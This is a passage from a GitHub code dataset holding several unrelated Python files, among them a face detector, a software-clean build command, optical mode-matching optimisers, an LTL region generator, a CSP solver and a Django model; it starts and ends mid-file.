color_rect = (145,214,0)\n else:\n color_rect = (0,0,255)\n if bbox != None:\n cv2.rectangle(show, bbox[0], bbox[1], color_rect, 2)\n elif self.bbox != None:\n cv2.rectangle(show, self.bbox[0], self.bbox[1], color_rect, 2)\n if landmarks != None:\n self.draw_landmark(show, landmarks)\n elif self.landmarks != None:\n self.draw_landmark(show, self.landmarks)\n \n def analyze_features(self, bbox=None, landmarks=None):\n if bbox == None:\n if self.bbox != None:\n bbox = self.bbox\n else:\n return -1\n bbox_ratio = (bbox[1][0]-bbox[0][0])/float(bbox[1][1]-bbox[0][1])\n return bbox_ratio\n\n def drawMultiFFs(self, show, list_bboxes=None, list_landmarks=None):\n if self.flgTracking == False:\n color_rect = (255,128,0)\n else:\n color_rect = (0,0,255)\n if list_bboxes != None:\n for bbox in list_bboxes:\n cv2.rectangle(show, bbox[0], bbox[1], color_rect, 2)\n elif self.list_bboxes != None:\n for bbox in self.list_bboxes:\n cv2.rectangle(show, bbox[0], bbox[1], color_rect, 2)\n if list_landmarks != None:\n for landmarks in list_landmarks:\n if len(landmarks) == 1:\n continue\n self.draw_landmark(show, landmarks)\n elif self.list_landmarks != None:\n for landmarks in self.list_landmarks:\n if len(landmarks) == 1:\n continue\n self.draw_landmark(show, landmarks)\n\nif __name__ == '__main__':\n class args:\n def __init__(self):\n self.detector = 'ssd'\n self.ocv_dnn_prototxt = '../models/cv_dnn/deploy.prototxt.txt'\n self.ocv_dnn_model = '../models/cv_dnn/res10_300x300_ssd_iter_140000.caffemodel'\n self.dlibFacePredictor = '../models/dlib/shape_predictor_68_face_landmarks.dat'\n self.dlibCnnDetector = '../models/dlib/mmod_human_face_detector.dat'\n self.flgUseTracker = False\n self.conf_det = 0.6\n self.dlib_img_size = 128\n flag = args()\n \n objFFD = FacialFeatureDetector(flag)\n\n vc = cv2.VideoCapture('../data/tkwoo_20180328.mp4')\n\n while True:\n _, bgr_image = vc.read()\n bbox, landmarks, alignedFace = objFFD.detectFF(bgr_image)\n","repo_name":"yeonheuiyeon/smilegateAI_1","sub_path":"ml/face/feature_extractor/detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":16131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3779806288","text":"\"\"\"\n------------------------------------------------------------------------\n\nARTICo\\u00b3 Development Kit\n\nAuthor : Alfonso Rodriguez \nDate : August 2017\nDescription : Command - cleans software application.\n\n------------------------------------------------------------------------\n\nThe following code is a derivative work of the code from the ReconOS\nproject, which is licensed GPLv2. This code therefore is also licensed\nunder the terms of the GNU Public License, version 2.\n\n------------------------------------------------------------------------\n\"\"\"\n\nimport argparse\nimport subprocess\nimport logging\n\nimport artico3.utils.shutil2 as shutil2\n\nlog = logging.getLogger(__name__)\n\ndef get_cmd(prj):\n return \"clean_sw\"\n\ndef get_call(prj):\n return clean_cmd\n\ndef get_parser(prj):\n parser = argparse.ArgumentParser(\"clean_sw\", description=\"\"\"\n Cleans the software project.\n \"\"\")\n parser.add_argument(\"-c\", \"--cross\", help=\"use external cross compiler instead of Xilinx's\", default=\"\")\n parser.add_argument(\"-r\", \"--remove\", help=\"remove entire software directory\", action=\"store_true\")\n return parser\n\ndef clean_cmd(args):\n clean(args, args.cross)\n\ndef clean(args, cross):\n prj = args.prj\n swdir = prj.basedir + \".sw\"\n\n if args.remove:\n shutil2.rmtree(swdir)\n else:\n try:\n shutil2.chdir(swdir)\n except:\n log.error(\"software directory '\" + swdir + \"' not found\")\n return\n\n if cross == \"\":\n if \"xczu\" in prj.impl.part:\n cc = \"/opt/Xilinx/SDK/{0}/gnu/aarch64/lin/aarch64-linux/bin/aarch64-linux-gnu-\".format(prj.impl.xil[1])\n else:\n #~ cc = \"/opt/Xilinx/SDK/{0}/gnu/arm/lin/bin/arm-xilinx-linux-gnueabi-\".format(prj.impl.xil[1])\n cc = \"/opt/Xilinx/SDK/{0}/gnu/aarch32/lin/gcc-arm-linux-gnueabi/bin/arm-linux-gnueabihf-\".format(prj.impl.xil[1])\n else:\n cc = cross\n\n subprocess.run(\"\"\"\n bash -c \"export CROSS_COMPILE={0} &&\n make clean\"\n \"\"\".format(cc), shell=True, check=True)\n\n\n print()\n shutil2.chdir(prj.dir)\n","repo_name":"des-cei/artico3","sub_path":"tools/_pypack/artico3/scripts/sw/clean.py","file_name":"clean.py","file_ext":"py","file_size_in_byte":2192,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"5"} +{"seq_id":"34995768724","text":"import datetime as dt\n\nhora_inicial = int(input(\"Informe a hora do inicio do jogo: \"))\nminuto_inicial = int(input(\"Informe os minutos do inicio do jogo: \"))\nhora_final = int(input(\"Informe a hora do final do jogo: \"))\nminuto_final = int(input(\"Informe os minutos do final do jogo: \"))\n\nhorainicio = dt.timedelta(hours=hora_inicial)\nhorafinal = dt.timedelta(hours=hora_final)\nminutosinicio = dt.timedelta(minutes=minuto_inicial)\nminutosfinal = dt.timedelta(minutes=minuto_final)\n\n\nconta_hora = horafinal - horainicio\nconta_final = minutosfinal - minutosinicio\n\nprint(f\"O tempo de duração do jogo foi {conta_hora} horas and {conta_final} minutos.\")","repo_name":"Rayanzai/Calculadora-diferenca-de-horas","sub_path":"diferencahoras - ex 22 lista 2.py","file_name":"diferencahoras - ex 22 lista 2.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"8433745610","text":"#import pylab as pl # removed by DDB 1/12/2015\nimport scipy.optimize as opt\nfrom pykat import finesse\nfrom pykat.detectors import *\nfrom pykat.components import *\nfrom pykat.commands import *\nfrom pykat.structs import *\nfrom numpy import *\n# from modematch import modematch\nimport pykat.optics.ABCD as abcd\nimport time\n\n\n\ndef mmf(f, d, q1, q2, c, d2_min):\n '''\n Function used to optimize lenses for modematching\n f - array of slice objects. It gives the allowed focal lengths.\n d - array of slice objects. Gives the allowed range of distances.\n D - total distance between the two beam waists\n q1 - beam parameter at first waist\n q2 - beam parameter at second waist\n '''\n\n # Optimizes the distances d for each focal lenght in f1 and f2.\n res = opt.brute(mmd, d, args=(f, q1, q2, c, d2_min), \\\n full_output=True, finish=opt.fmin, disp=True)\n \n # Returns the error of the optimised distances.\n return res[1]\n\n\ndef mmd(d, f, q1, q2, c, d2_min):\n '''\n Function used ot optimize distances between waists and lenses,\n given focal lengths f1 and f2. The parameters are the same as\n defined above for mmf.\n '''\n \n D = d[1]\n d = d[0]\n \n # Checking if the distances are valid \n if D>d2_min+2*c and d > c and d < D-c-d2_min:\n \n # ABCD-matrices\n M1 = abcd.space(1,d)\n M2 = abcd.lens(f)\n M3 = abcd.space(1,D-d)\n # Total ABCD-matrix\n M = M3*M2*M1\n\n A = M[0,0]\n B = M[0,1]\n C = M[1,0]\n D = M[1,1]\n\n # Obtained beam parameter at the second waist position\n q = (A*q1 + B)/(C*q1 + D)\n \n # Returns the difference between the obtained\n # parameter and the target.\n return abs(q-q2)\n \n # If the distances are invalid, return inf\n else:\n return inf\n\n\ndef mmf2(f, d, D, q1, q2, c1, c2, c3):\n '''\n Function used to optimize two lenses in serial for modematching\n f - array of arrays of slice objects giving the allowed focal lengths.\n d - array of slice objects. Gives the allowed range of distances.\n D - total distance between the two beam waists\n q1 - beam parameter at first waist\n q2 - beam parameter at second waist\n '''\n\n # Focal lengths\n f1 = f[0]\n f2 = f[1]\n # Optimizes the distances d for each focal lenght in f1 and f2.\n res = opt.brute(mmd2, d, args=(f1, f2, D, q1, q2, c1, c2, c3), \\\n full_output=True, finish=opt.fmin)\n # Returns the error of the optimised distances.\n return res[1]\n\n\ndef mmd2(d, f1, f2, L, q1, q2, c1, c2, c3):\n '''\n Function used ot optimize distances between waists and lenses,\n given focal lengths f1 and f2. The parameters are the same as\n defined above for mmf2.\n '''\n \n # Distance waist1 --> lens1\n d1 = d[0]\n # Distance lens1 --> lens2\n d2 = d[1]\n\n # Checking if the distances are valid \n if d1 > c1 and d1 < L-c2-c3 and d2 > c2 and \\\n d2 < L-c3-d1:\n\n # ABCD-matrices\n M1 = abcd.space(1,d1)\n M2 = abcd.lens(f1)\n M3 = abcd.space(1,d2)\n M4 = abcd.lens(f2)\n M5 = abcd.space(1,L-d1-d2)\n # Total ABCD-matrix\n M = M5*M4*M3*M2*M1\n\n A = M[0,0]\n B = M[0,1]\n C = M[1,0]\n D = M[1,1]\n\n # Obtained beam parameter at the second waist position\n q = (A*q1 + B)/(C*q1 + D)\n \n # Returns the difference between the obtained\n # parameter and the target.\n return abs(q-q2)\n \n # If the distances are invalid, return inf\n else:\n return inf\n\n\n\ndef moma2(d, f1, f2, D, q1, q2):\n '''\n Unused function that was used to solve a system of two equations\n to modematch. The parameters are the same as defined above for\n mmf and mmd.\n '''\n \n d1 = d[0]\n d2 = d[1]\n \n M1 = abcd.space(1,d1)\n M2 = abcd.lens(f1)\n M3 = abcd.space(1,d2)\n M4 = abcd.lens(f2)\n M5 = abcd.space(1,D-d1-d2)\n \n M = M5*M4*M3*M2*M1\n A = M[0,0]\n B = M[0,1]\n C = M[1,0]\n D = M[1,1]\n \n # q = (A*q1 + B)/(C*q1 + D)\n\n f = q2 - (A*q1 + B)/(C*q1 + D)\n \n return [f.real, f.imag]\n\n\n\ndef modematch(q1, q2, f, D, d1, d2_min=.0, c=.01):\n '''\n Simple and not efficient modematching using 1 lens. Quickly translated from the\n two lens case just to test for the filter cavity simulations. Should be fixed\n to a more general, efficient, and useful function at some point.\n\n q1 d1 f d2 q2\n | <--> | <--> |\n | <------ D -----> |\n\n Input: q1, q2, f, D, d1, d2_min\n q1, q2 - Complex beam parameters to be mode matched.\n f - Slice-object of available lense. E.g., if the\n available lenses are of focal length 1, 1.5\n and 2 meters, then f = slice(1, 2, 0.5).\n D - Slice-oject with total distances between q1 and\n q2 that are be searched with brute force. The\n best match of these distances will be optimised\n further. E.g., D = slice(D_min, D_max, D_step).\n d1 - Slice-object with distanes between q1 and the\n lens. E.g., d1 = slice(d1_min, d1_max, d1_step),\n where d1_max < D_max-d2_min-2*c\n d2_min - Minimum distance between the lens and q2\n c - Minimum distance between the lens and any other\n optic. Here, we are assuming that there are\n optics constraining all the distances, thus c is\n the absolute shortest distance d1 and d2 can take\n even if themselves have 0 as minimum distance.\n\n Returns: f, d1, d2, D, res\n f - The focal length of the \"best\" match found.\n d1 - The d1 of the \"best\" match found.\n d2 - The d2 of the \"best\" match found.\n D - The D of the \"best\" match found.\n res - abs(q1-q2) of this match.\n\n By Daniel Toyra (dtoyra@star.sr.bham.ac.uk)\n '''\n\n d = [d1, D]\n f = [f]\n\n # Finding optimal lens\n fsol = opt.brute(mmf, f, args=(d, q1, q2, c, d2_min),\n full_output=True, finish=None)\n\n print(fsol)\n f = fsol[0]\n\n # Finding optimal lens positions given f1, f2\n dsol = opt.brute(mmd, d, args=(f, q1, q2, c, d2_min), \\\n full_output=True, finish=opt.fmin)\n d1 = dsol[0][0]\n D = dsol[0][1]\n d2 = D-d1\n res = dsol[1]\n\n return f, d1, d2, D, res\n \n\n\n\ndef modematch2(q1, q2, D, c1, c2, c3):\n '''\n Modematching with 2 lenses. The allowed focal lengths are\n specified inside this function. Later, it would probably\n be better to pass the available lenses as an argument.\n\n D is total distance between q1 and q2. c1, c2, and c3 are the\n minimum distances between q1 and lens1, lens1 and lens2, and\n lens2 and q2, respectively. c2 also moonlights as the minimum\n distance between any pair of optics. q1 and q2 are the complex\n beam parameters to be matched.\n\n q1 d1 f1 d2 f2 q2\n | <--> | <--> | |\n | <---------- D ---------> |\n\n By Daniel Toyra (dtoyra@star.sr.bham.ac.uk)\n '''\n\n print( ' Modematching...')\n \n # Controller\n # -----------------------------------------------------\n # Allowed lenses\n f1_range = slice(-1.0, -0.05, 0.05)\n f2_range = slice(0.05, 1.0, 0.05)\n # Number of distance points between each pair of optic\n N = 15\n # -----------------------------------------------------\n \n f = (f1_range, f2_range)\n start1 = c1\n stop1 = D-c2-c3\n step1 = (stop1-start1)/N\n start2 = c2\n stop2 = D-c1-c3\n step2 = (stop2-start2)/N\n \n d1_range = slice(start1, stop1, step1)\n d2_range = slice(start2, stop2, step2)\n d = (d1_range, d2_range)\n\n # Finding optimal pair of lenses\n fsol = opt.brute(mmf2, f, args=(d, D, q1, q2, c1, c2, c3), \\\n full_output=True, finish=None)\n f1 = fsol[0][0]\n f2 = fsol[0][1]\n\n # Finding optimal lens positions given f1, f2\n dsol = opt.brute(mmd2, d, args=(f1, f2, D, q1, q2, c1, c2, c3), \\\n full_output=True, finish=opt.fmin)\n d1 = dsol[0][0]\n d2 = dsol[0][1]\n d3 = D-d1-d2\n res = dsol[1]\n\n # Checking if the solution satisfies the constraints.\n # (it should always be okay, so remove this later if\n # no invalid solutions are found in a while)\n\n \n if d1 > c1 and d1 < D-c2-c3 and d2 > c2 and \\\n d2 < D-d1-c3 and d3 > c3:\n\n isMM = True\n\n print (' Match found!')\n print (' res = ' + str(res))\n print (' d1 = ' + str(d1) + ' m')\n print (' d2 = ' + str(d2) + ' m')\n print (' d3 = ' + str(d3) + ' m')\n print (' f1 = ' + str(f1) + ' m')\n print (' f2 = ' + str(f2) + ' m')\n print (' D_tot = ' + str(d1+d2+d3) + ' m')\n\n else:\n isMM = False\n print (' No match found. Unphysical solution...')\n print (d1)\n print (d2)\n print (d3)\n print (res)\n\n \n return f1, f2, d1, d2, d3, res, isMM\n \n","repo_name":"ElsevierSoftwareX/SOFTX_2020_117","sub_path":"pykat/tools/modematching.py","file_name":"modematching.py","file_ext":"py","file_size_in_byte":8991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"12245026467","text":"#!/usr/bin/env python\nimport os\nimport yaml\nimport math\nimport rospkg\nfrom tf.transformations import quaternion_from_euler\n\ndef distance_2d(ax, ay, bx, by):\n return math.sqrt((ax - bx) ** 2 + (ay - by) ** 2)\n\ndef connect_if_exist(region_dict, region_name, region_to_connect_name):\n if region_to_connect_name in region_dict['state_models']['2d_pose_region']['nodes']:\n region_dict['state_models']['2d_pose_region']['nodes'][region_name]['connected_to'].update({region_to_connect_name: 'goto_'+region_to_connect_name})\n\ndef check_if_station_in_cell(x_station, y_station, radius, x_center_cell, y_center_cell, cell_side_length):\n if (((x_center_cell - cell_side_length/2 - radius) < x_station < (x_center_cell + cell_side_length/2 + radius))\n and ((y_center_cell - cell_side_length/2) < y_station < (y_center_cell + cell_side_length/2))):\n return True\n if (((y_center_cell - cell_side_length/2 - radius) < y_station < (y_center_cell + cell_side_length/2 + radius))\n and ((x_center_cell - cell_side_length/2) < x_station < (x_center_cell + cell_side_length/2))):\n return True\n if min(distance_2d(x_station, y_station, x_center_cell + cell_side_length/2, y_center_cell + cell_side_length/2),\n distance_2d(x_station, y_station, x_center_cell - cell_side_length/2, y_center_cell + cell_side_length/2),\n distance_2d(x_station, y_station, x_center_cell - cell_side_length/2, y_center_cell - cell_side_length/2),\n distance_2d(x_station, y_station, x_center_cell + cell_side_length/2, y_center_cell - cell_side_length/2)\n < radius):\n return True\n return False\n\ndef generate_regions_and_actions(region_definition_dict):\n region_2d_pose_ts_dict = {'state_dim': [\"2d_pose_region\"],\n 'state_models': {'2d_pose_region': {'ts_type': \"2d_pose_region\",\n 'initial': '',\n 'nodes': {}}},\n 'actions': {}}\n\n # Create stations\n for i in range(len(region_definition_dict['stations'])):\n station_dict = region_definition_dict['stations'][i]\n # Add node\n region_2d_pose_ts_dict['state_models']['2d_pose_region']['nodes'].update({'s'+str(i):\n {'attr': {'type': 'station',\n 'pose': [[station_dict['origin']['x'], station_dict['origin']['y']], [station_dict['origin']['yaw']]],\n 'radius': station_dict['radius'],\n 'angle_threshold': station_dict['angle_threshold'],\n 'dist_hysteresis': station_dict['dist_hysteresis'],\n 'angle_hysteresis': station_dict['angle_hysteresis']},\n 'connected_to': {'s'+str(i): 'goto_s'+str(i)}}}) # Initialize with self-loop\n # Add action\n station_quaternion = quaternion_from_euler(0, 0, station_dict['origin']['yaw']) # Get quaternion from yaw angle\n region_2d_pose_ts_dict['actions'].update({'goto_s'+str(i): {'type': 'move',\n 'weight': 10,\n 'guard': \"1\",\n 'attr': {'region': 's'+str(i), 'pose': [[station_dict['origin']['x'], station_dict['origin']['y'], 0], station_quaternion.tolist()]}}})\n\n\n # Create cell regions\n cell_iter = 1\n # Iterate over lines on y-axis\n for cell_num_on_y in range(region_definition_dict['grid']['number_of_cells_y']):\n # y-coordinate is origin on y-axis plus square side length time number of squares plus side half-length (for square-center)\n y_coord = (region_definition_dict['grid']['origin']['y']\n + (cell_num_on_y * region_definition_dict['grid']['cell_side_length'])\n + (region_definition_dict['grid']['cell_side_length']/2))\n # Iterate over columns on y-axis\n # y-coordinate is origin on y-axis plus square side length time number of squares plus side half-length (for square-center)\n for cell_num_on_x in range(region_definition_dict['grid']['number_of_cells_x']):\n x_coord = (region_definition_dict['grid']['origin']['x']\n + (cell_num_on_x * region_definition_dict['grid']['cell_side_length'])\n + (region_definition_dict['grid']['cell_side_length']/2))\n\n # Add node\n region_2d_pose_ts_dict['state_models']['2d_pose_region']['nodes'].update({'r'+str(cell_iter): {'attr': {'type': 'square',\n 'pose': [[x_coord, y_coord], [0]],\n 'length': region_definition_dict['grid']['cell_side_length'],\n 'hysteresis': region_definition_dict['grid']['cell_hysteresis']},\n 'connected_to': {'r'+str(cell_iter): 'goto_r'+str(cell_iter)}}}) # Initialize with self-loop}})\n # Add action\n region_2d_pose_ts_dict['actions'].update({'goto_r'+str(cell_iter): {'type': 'move',\n 'weight': 10,\n 'attr': {'region': 'r'+str(cell_iter), 'pose': [[ x_coord, y_coord, 0], [0, 0, 0, 1]]}}})\n\n # Check if station is connected\n # Go through all regions\n for reg_key in region_2d_pose_ts_dict['state_models']['2d_pose_region']['nodes'].keys():\n # if region is station, check if in cell\n if region_2d_pose_ts_dict['state_models']['2d_pose_region']['nodes'][reg_key]['attr']['type'] == 'station':\n if check_if_station_in_cell(region_2d_pose_ts_dict['state_models']['2d_pose_region']['nodes'][reg_key]['attr']['pose'][0][0],\n region_2d_pose_ts_dict['state_models']['2d_pose_region']['nodes'][reg_key]['attr']['pose'][0][1],\n region_2d_pose_ts_dict['state_models']['2d_pose_region']['nodes'][reg_key]['attr']['radius']\n + region_2d_pose_ts_dict['state_models']['2d_pose_region']['nodes'][reg_key]['attr']['dist_hysteresis'],\n x_coord, y_coord, region_definition_dict['grid']['cell_side_length']):\n \n # Connect station to cell\n region_2d_pose_ts_dict['state_models']['2d_pose_region']['nodes'][reg_key]['connected_to'].update({'r'+str(cell_iter): 'goto_'+'r'+str(cell_iter)})\n # Connect cell to region\n region_2d_pose_ts_dict['state_models']['2d_pose_region']['nodes']['r'+str(cell_iter)]['connected_to'].update({str(reg_key): 'goto_'+str(reg_key)})\n\n # Increment\n cell_iter += 1\n\n\n # Add connection between cells\n cell_iter = 1\n # Iterate over column on y-axis\n for cell_num_on_y in range(region_definition_dict['grid']['number_of_cells_y']):\n # Iterate over rows on x-axis\n for cell_num_on_x in range(region_definition_dict['grid']['number_of_cells_x']):\n # If not first cell of the column\n if not cell_num_on_x == 0:\n # If previous region exist, add to connected to list\n connect_if_exist(region_2d_pose_ts_dict, 'r'+str(cell_iter), 'r'+str(cell_iter-1))\n # If not last cell of the column\n if not cell_num_on_x == (region_definition_dict['grid']['number_of_cells_x']-1):\n # If next region exist, add to connected to list\n connect_if_exist(region_2d_pose_ts_dict, 'r'+str(cell_iter), 'r'+str(cell_iter+1))\n # If region in previous line exist, add to connected to list\n connect_if_exist(region_2d_pose_ts_dict, 'r'+str(cell_iter), 'r'+str(cell_iter-region_definition_dict['grid']['number_of_cells_x']))\n # If region in next line exist, add to connected to list\n connect_if_exist(region_2d_pose_ts_dict, 'r'+str(cell_iter), 'r'+str(cell_iter+region_definition_dict['grid']['number_of_cells_x']))\n # Increment region number\n cell_iter += 1\n\n return region_2d_pose_ts_dict\n\ndef write_to_file(file_name=\"generated_2d_pose_region_ts\", region_2d_pose_ts_dict={}):\n with open(os.path.join(rospkg.RosPack().get_path('ltl_automaton_std_transition_systems'),\n 'config',\n 'generated_ts',\n file_name+'.yaml'),'w') as file:\n yaml.dump(region_2d_pose_ts_dict, file)\n\n print(\"-----------------------------------------------------------\")\n print(\" 2D pose region transition systems successfully generated!\")\n print(\"-----------------------------------------------------------\")\n print(\" File can be find at %s\" % os.path.join(rospkg.RosPack().get_path('ltl_automaton_std_transition_systems'),\n 'config',\n 'generated_ts',\n file_name+'.yaml'))\n\n","repo_name":"zzhou387/ltl_planning_core","sub_path":"ltl_automaton_std_transition_systems/scripts/region_2d_pose_generator.py","file_name":"region_2d_pose_generator.py","file_ext":"py","file_size_in_byte":10280,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"15901696704","text":"from abc import ABC\n\nSELECT_UNSIGNED = 0\nMOST_CONSTRAINED_VARIABLE = 1\nMOST_CONSTRAINING_VARIABLE = 2\n\nASSIGN = 0\nEQUALS = 1\nNOT_EQUALS = 2\nABSOLUTE = 3\nSUBTRACTION = 4\n\n\nclass CSP(ABC):\n def __init__(self):\n self.variables = []\n self.domain = []\n\n def set_result(self, variables):\n self.variables = variables\n\n @staticmethod\n def is_valid(variables):\n for variable in variables:\n if not variable.is_valid():\n return False\n return True\n\n def get_index(self, variable_name):\n for i, variable in enumerate(self.variables):\n if variable.name == variable_name:\n return i\n return -1\n\n def get_variable(self, variable_name):\n for variable in self.variables:\n if variable.name == variable_name:\n return variable\n return None\n\n def reset_domain(self, variable):\n variable.domain = self.domain.copy()\n\n def show(self):\n for variable in self.variables:\n print(variable)\n\n\nclass Variable(ABC):\n def __init__(self, name, domain, constraints):\n self.name = name\n self.domain = domain\n self.constraints = constraints\n self.value = None\n\n def set_value(self, value):\n self.value = value\n self.domain = [value]\n\n def is_set(self):\n return self.value is not None\n\n def is_value_valid(self, value):\n for constraint in self.constraints:\n if not constraint.does_satisfy(value):\n return False\n return True\n\n def is_in_domain(self, value):\n return value in self.domain\n\n def add_constraint(self, constraint):\n self.constraints.append(constraint)\n\n def remaining_values(self):\n return len(self.domain)\n\n def active_constraints(self):\n variables = set()\n\n for constraint in self.constraints:\n if not constraint.is_unary() and not constraint.variable.is_set():\n variables.add(constraint.variable)\n\n return len(variables)\n\n def constrained_variables_size(self, value):\n constrained_variables = 0\n\n for constraint in self.constraints:\n if not constraint.is_unary() and value in constraint.variable.domain:\n constrained_variables += 1\n\n return constrained_variables\n\n def __str__(self):\n return f'{self.name}: {self.value}, {self.domain}; {self.constraints}'\n\n def __repr__(self):\n return f'({self.name}: {self.value})'\n\n\nclass Constraint:\n\n modes = ['ASSIGN',\n 'EQUALS',\n 'NOT_EQUALS',\n 'ABSOLUTE',\n 'SUBTRACTION']\n\n def __init__(self, mode, variable=None, value=0):\n self.mode = mode\n self.variable = variable\n self.value = value\n\n def does_satisfy(self, value):\n satisfies = False\n checked = False\n\n if self.mode is EQUALS:\n if self.variable.value is not None:\n satisfies = value == self.variable.value\n checked = True\n\n if self.mode is NOT_EQUALS:\n if self.variable.value is not None:\n satisfies = value != self.variable.value\n checked = True\n\n if self.mode is ASSIGN:\n satisfies = value == self.value\n checked = True\n\n if self.mode is SUBTRACTION:\n if self.variable.value is not None:\n satisfies = value - self.variable.value == self.value\n checked = True\n\n if self.mode is ABSOLUTE:\n if self.variable.value is not None:\n satisfies = abs(value - self.variable.value) == self.value\n checked = True\n\n return satisfies or not checked\n\n def do_satisfy(self, xi_value, xj_value):\n satisfies = False\n checked = False\n\n if self.mode is EQUALS:\n satisfies = xi_value == xj_value\n checked = True\n\n if self.mode is NOT_EQUALS:\n satisfies = xi_value != xj_value\n checked = True\n\n if self.mode is ASSIGN:\n satisfies = xi_value == self.value\n checked = True\n\n if self.mode is SUBTRACTION:\n satisfies = xi_value - xj_value == self.value\n checked = True\n\n if self.mode is ABSOLUTE:\n satisfies = abs(xi_value - xj_value) == self.value\n checked = True\n\n return satisfies or not checked\n\n def is_unary(self):\n return self.variable is None\n\n def propagate_value(self, value):\n empty = False\n\n if self.mode is EQUALS:\n if value in self.variable.domain:\n self.variable.domain = [value]\n else:\n empty = True\n\n if self.mode is NOT_EQUALS:\n if value in self.variable.domain:\n self.variable.domain.remove(value)\n if not self.variable.domain:\n empty = True\n\n if self.mode is SUBTRACTION:\n if value - self.value in self.variable.domain:\n self.variable.domain = [value - self.value]\n else:\n empty = True\n\n if self.mode is ABSOLUTE:\n new_domain = []\n\n new_value = value - self.value\n if new_value in self.variable.domain:\n new_domain.append(new_value)\n\n new_value = value + self.value\n if new_value in self.variable.domain:\n new_domain.append(new_value)\n\n self.variable.domain = new_domain\n\n if not new_domain:\n empty = True\n\n return empty\n\n def __str__(self):\n if self.mode is ASSIGN:\n return f'({ Constraint.modes[self.mode] }: { self.value })'\n else:\n return f'({ Constraint.modes[self.mode] }: { self.variable.name }, { self.value })'\n\n def __repr__(self):\n return self.__str__()\n","repo_name":"limisie/si21","sub_path":"L2_spelnianie_ograniczen/csp.py","file_name":"csp.py","file_ext":"py","file_size_in_byte":5952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36736322368","text":"from django.db import models\nfrom django.utils import timezone\n\n\n# Единица измерения\nclass RefUnit(models.Model):\n objects = None\n name_kz = models.CharField(\n max_length=255,\n null=True,\n blank=True,\n verbose_name='Единица измерения на государственном языке'\n )\n name_ru = models.CharField(\n max_length=255,\n null=True,\n blank=True,\n verbose_name='Единица измерения на русском языке'\n )\n created_at = models.DateTimeField(\n auto_now_add=True,\n verbose_name='Дата и время создания'\n )\n updated_at = models.DateTimeField(\n auto_now=True,\n verbose_name='Дата и время изменения'\n )\n is_deleted = models.BooleanField(\n null=False,\n default=False,\n verbose_name='Удалён'\n )\n deleted_at = models.DateTimeField(\n null=True,\n default=None,\n verbose_name='Дата и время удаления'\n )\n\n def __str__(self):\n return self.name_ru\n\n def delete(self, using=None, keep_parents=False):\n self.is_deleted = True\n self.deleted_at = timezone.now()\n self.save()\n","repo_name":"AttractorSchool/ESDP-AP-10-3","sub_path":"source/smarttender/models/ref_unit.py","file_name":"ref_unit.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"32123416401","text":"from greedy import *\nfrom enviroment import * \n\ndef main():\n rows, columns = (7,7)\n critic_file = 'critic_model.h5'\n #model = load_critic_model(rows,columns, critic_file)\n \n \n env = Enviroment(rows, columns)\n\n layout = env.create_env(N=20)\n \n actions = greedy_solve(layout) \n \n cur_state = layout.stacks\n \n for action in actions:\n print(f'Action {action} :')\n new_state, reward, done = env.step(action)\n cur_state = new_state\n env.show_state(cur_state)\n print(cur_state)\n \n env.show_state(cur_state)\n\nif __name__ == \"__main__\":\n main()\n ","repo_name":"ebelleng/RL_A2C_CPMP","sub_path":"prev/train_actor/train_critic/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26601263261","text":"import sys\nimport cv2\n\n\nclass SingletonInstane:\n __instance = None\n\n @classmethod\n def __getInstance(cls):\n return cls.__instance\n\n @classmethod\n def instance(cls, *args, **kargs):\n cls.__instance = cls(*args, **kargs)\n cls.instance = cls.__getInstance\n return cls.__instance\n\n\nclass ObjectTypeCheck:\n @staticmethod\n def check_value_available(var):\n if var is None:\n return False\n return True\n\n\nclass ObjectTrackerErrMsg:\n @staticmethod\n def check_value_none(var, varname):\n if var is None:\n print(\"Error: \" + varname + \" is not allocated..\", file=sys.stderr)\n return False\n return True\n\n @staticmethod\n def check_value_zero(var, varname):\n if var == 0:\n print(\"Error: \" + varname + \" is zero..\", file=sys.stderr)\n return False\n return True\n\n\nclass PrintMsg:\n @staticmethod\n def print_error(*args, **kwargs):\n return print(*args, **kwargs, file=sys.stderr)\n\n\n# Info Text\n\n\nclass DisplayInfoText:\n def __init__(self, font, startPos, image_width, image_height):\n self.font = font\n self.startPos = startPos\n self.text = \"\"\n self.image_width = image_width\n self.image_height = image_height\n\n def draw(self, image):\n if self.text == \"\":\n return\n\n font_scale = 3 if self.image_width <= 1920 else 5\n font_thickness = 2 if self.image_width <= 1920 else 4\n\n cv2.putText(\n image,\n self.text,\n self.startPos,\n self.font,\n font_scale,\n (0, 255, 0),\n font_thickness,\n cv2.LINE_AA,\n )\n\n def set_info_text(self, text):\n self.text = text\n","repo_name":"aidoop/object-tracker-python","sub_path":"object_tracker/applications/etc/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"34195934972","text":"\n# [ ] Write a program that reads a date from the command line as numbers (month then day then year),\n# if the date entered is in the past, a message saying \"The date has passed\" should be printed\n# if the date is in the future the program should display the number of days remaining from today till that date,\n# there should be an optional command line flag that displays the results in total number of seconds instead of days\n\n# help message should look like:\n'''\nusage: day_counter.py [-h] [-s] month day year\n\npositional arguments:\n month Month as a number (1, 12)\n day Day as a number (1, 31) depending on the month\n year Year as a 4 digits number (2018)\n\noptional arguments:\n -h, --help show this help message and exit\n -s, --total_seconds Show the time difference in total number of seconds\n'''\n\nimport argparse\nfrom math import fabs\nfrom datetime import date, timedelta, datetime\n\n\n\n\n\n\n\n\ndef t_seconds(future_date):\n return int(fabs(future_date.total_seconds()))\n \ndef past_future(future_date):\n if future_date.total_seconds() > 0:\n print('There are {:d} seconds remaining from today'.format(t_seconds(future_date)))\n 